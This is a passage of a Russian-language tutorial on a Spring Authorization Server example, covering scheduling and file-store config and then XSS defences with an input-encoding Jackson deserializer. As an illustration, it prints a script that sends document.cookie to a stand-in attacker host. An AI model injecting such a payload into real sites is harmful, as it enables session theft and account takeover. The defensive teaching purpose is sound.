<code>application.yml<\/code>.<\/p>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">spring:     task:         scheduling:             pool:                 size: 2 <\/code><\/pre>\n<h3>\u0424\u0430\u0439\u043b\u043e\u0432\u043e\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435<\/h3>\n<p>\u0412 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435. \u041e\u043d\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0417\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 <code>FileStore<\/code> \u0438 \u043a\u043b\u0430\u0441\u0441 \u0435\u0433\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 <code>LocalFileStore<\/code>. \u0418\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/chapter-5.1\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/components\/FileStore.java\" rel=\"noopener noreferrer nofollow\">github \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438<\/a>.<\/p>\n<p>\u0414\u043b\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0433\u0434\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0444\u0430\u0439\u043b\u044b, \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>file-store.base-path<\/code> \u0432 <code>application.yml<\/code>.<\/p>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">file-store:     base-path: ~\/j-sso-file-store <\/code><\/pre>\n<blockquote>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.1\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<\/blockquote>\n<h3>\u0420\u0430\u0437\u0434\u0435\u043b 5.2: \u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 CSRF \u0438 XSS \u0430\u0442\u0430\u043a \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 Security Headers<\/h3>\n<p>\u0422\u0435\u043c\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 WEB \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0438\u0439 \u0434\u0435\u043d\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u043a\u0430\u043a \u043d\u0438\u043a\u043e\u0433\u0434\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0442 \u0441\u0430\u043c\u044b\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u0422\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a \u0440\u0430\u0437 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f CSRF \u0438 XSS \u0430\u0442\u0430\u043a\u0438.<\/p>\n<h4>XSS<\/h4>\n<blockquote>\n<p>XSS (\u0430\u043d\u0433\u043b. Cross-Site Scripting \u2014 \u00ab\u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u00bb) \u2014 \u043f\u043e\u0434\u0442\u0438\u043f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0432\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0438 \u0432 \u0432\u044b\u0434\u0430\u0432\u0430\u0435\u043c\u0443\u044e \u0432\u0435\u0431-\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0438\u043c \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b), \u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u042f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0442\u0430\u043a\u0438 \u00ab\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\u00bb.<\/p>\n<\/blockquote>\n<p>\u041f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, XSS \u0430\u0442\u0430\u043a\u0430 \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u043c\u0435\u0449\u0451\u043d\u043d\u043e\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u043d\u0430 \u0444\u043e\u0440\u043c\u0435. \u0422\u043e \u0435\u0441\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0435 \u043a\u0443\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u043f\u043e\u043b\u0435 \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0442\u0430\u043a\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u043a\u0430\u043a \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435. \u041f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d, \u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043a\u0443\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<pre><code> &lt;script> document.location = \"http:\/\/attackerhost.ru\/get-cookie?\" + document.cookie &lt;\/script> <\/code><\/pre>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u043a\u0440\u0430\u0436\u0438 cookie \u0444\u0430\u0439\u043b\u043e\u0432, \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e, \u0438 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0440\u0435\u0434 \u0432\u0430\u0448\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438\u043c \u043f\u0443\u043d\u043a\u0442\u0430\u043c:<\/p>\n<ol>\n<li>\n<p>\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 HTML-\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, JavaScript, CSS \u0438 URL \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a OWASP Encoding Project.<\/p>\n<\/li>\n<li>\n<p>\u0423\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438 \u043d\u0430 web-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435. (<code>&lt;meta charset=\"utf-8\"><\/code>)<\/p>\n<\/li>\n<li>\n<p>\u041e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 cookies (\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u044b\u0445 cookies, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 HttpOnly, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SSL)<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/CSP\" rel=\"noopener noreferrer nofollow\">Content Security Policy<\/a>.<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\" rel=\"noopener noreferrer nofollow\">X-Frame-Options<\/a><\/p>\n<\/li>\n<\/ol>\n<h4>\u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 XSS<\/h4>\n<p>\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 frontend \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0438\u0445 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 (sanitizing). Vue \u0442\u043e\u0436\u0435 \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442, \u043d\u043e \u043d\u0435 \u0432\u0435\u0437\u0434\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u044b <a href=\"https:\/\/ru.vuejs.org\/api\/built-in-directives#v-html\" rel=\"noopener noreferrer nofollow\"><code>v-html<\/code><\/a>, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0430\u0431\u043e\u0442\u0438\u0442\u044c\u0441\u044f \u043e \u0447\u0438\u0441\u0442\u043e\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u0421\u0442\u043e\u0438\u0442 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0440\u044f\u0434 \u043f\u0440\u0430\u0432\u0438\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043d\u0430 <a href=\"https:\/\/vuejs.org\/guide\/best-practices\/security.html\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a>.<\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u0443\u043d\u043a\u0442, \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043a\u0440\u044b\u0442. \u0414\u043b\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0430 backend-\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0438\u043b\u044c\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0442\u0435\u043b\u0430 \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u043c\u0435\u0442\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430.<\/p>\n<p>\u0412\u0442\u043e\u0440\u043e\u0439 \u043f\u0443\u043d\u043a\u0442 \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u0435\u0446. \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0438 \u0442\u0435\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0421\u0438\u043c\u0432\u043e\u043b<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041a\u043e\u0434<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>&lt;<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>&amp;lt;<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>><\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>&amp;gt;<\/code><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0414\u043b\u044f \u044d\u0442\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0435\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 <a href=\"https:\/\/owasp.org\/www-project-java-encoder\/\" rel=\"noopener noreferrer nofollow\"><code>OWASP Encoding Project<\/code><\/a>. \u0427\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u043a\u0443\u0447\u0443 \u043a\u043e\u0434\u0430 \u043f\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u043b\u044f DTO \u0432 \u043a\u0430\u0436\u0434\u043e\u043c endpoint-\u0435, \u043c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u043c <code>Jackson2ObjectMapperBuilderCustomizer<\/code> \u0438 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0431\u0438\u043d.<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Bean public Jackson2ObjectMapperBuilderCustomizer objectMapperBuilder() {     return builder -> builder.deserializerByType(String.class, new JsonDeserializer&lt;String>() {         @Override         public String deserialize(JsonParser p, DeserializationContext ctxt)                 throws IOException {             String origin = p.getValueAsString();             return Encode.forHtmlContent(origin);         }     }); } <\/code><\/pre>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0438\u0436\u0435:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/fac\/503\/3a9\/fac5033a93e8ded6096df923ebf9b8dd.gif\" alt=\"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\" title=\"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/fac\/503\/3a9\/fac5033a93e8ded6096df923ebf9b8dd.gif\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435, \u0438\u043d\u043e\u0433\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0412 \u044d\u0442\u043e\u043c \u0432\u0430\u043c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c <code>HttpServletRequestWrapper<\/code>. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u0438\u043b\u044c\u0442\u0440 \u0438 \u0441\u0432\u043e\u0439 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 request wrapper. \u0412 \u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 <code>ServletRequest<\/code> \u0432\u0430\u0448\u0438\u043c wrapper-\u043e\u043c, \u0430 \u0432 \u0441\u0430\u043c\u043e\u043c wrapper-\u0435 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432. \u0412 \u0446\u0435\u043b\u044f\u0445 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u044f \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043b\u0430\u0441\u0441\u044b <code>XSSFilter<\/code> \u0438 <code>XSSRequestWrapper<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.2\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/config\/filter\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430<\/a>.<\/p>\n<p>\u0421\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e Bean Validation API \u0432 Spring. \u042d\u0442\u043e \u043d\u0435\u043f\u043b\u043e\u0445\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442. \u041e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0427\u0438\u0442\u0430\u0439\u0442\u0435 \u043f\u0440\u043e \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c <a href=\"https:\/\/docs.spring.io\/spring-framework\/reference\/core\/validation\/beanvalidation.html\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a><\/p>\n<p>\u0422\u0440\u0435\u0442\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0442 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 html \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0417\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u043d\u0443\u0436\u043d\u043e? \u0421\u043c\u044b\u0441\u043b \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u043d\u0430\u0442\u043a\u043d\u0443\u0432\u0448\u0438\u0441\u044c \u043d\u0430 \u043d\u0435\u0451, \u0431\u0443\u0434\u0435\u0442 \u0434\u0443\u043c\u0430\u0442\u044c, \u0447\u0442\u043e \u0441\u0442\u0430\u043d\u0438\u0446\u0430 \u0438\u043c\u0435\u0435\u0442 \u043e\u0434\u043d\u0443 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043e\u043d\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0434\u0440\u0443\u0433\u0430\u044f. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0435\u0447\u0438\u0442\u0430\u0435\u043c\u043e. \u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e \u044d\u0442\u043e <a href=\"https:\/\/qna.habr.com\/q\/552486\" rel=\"noopener noreferrer 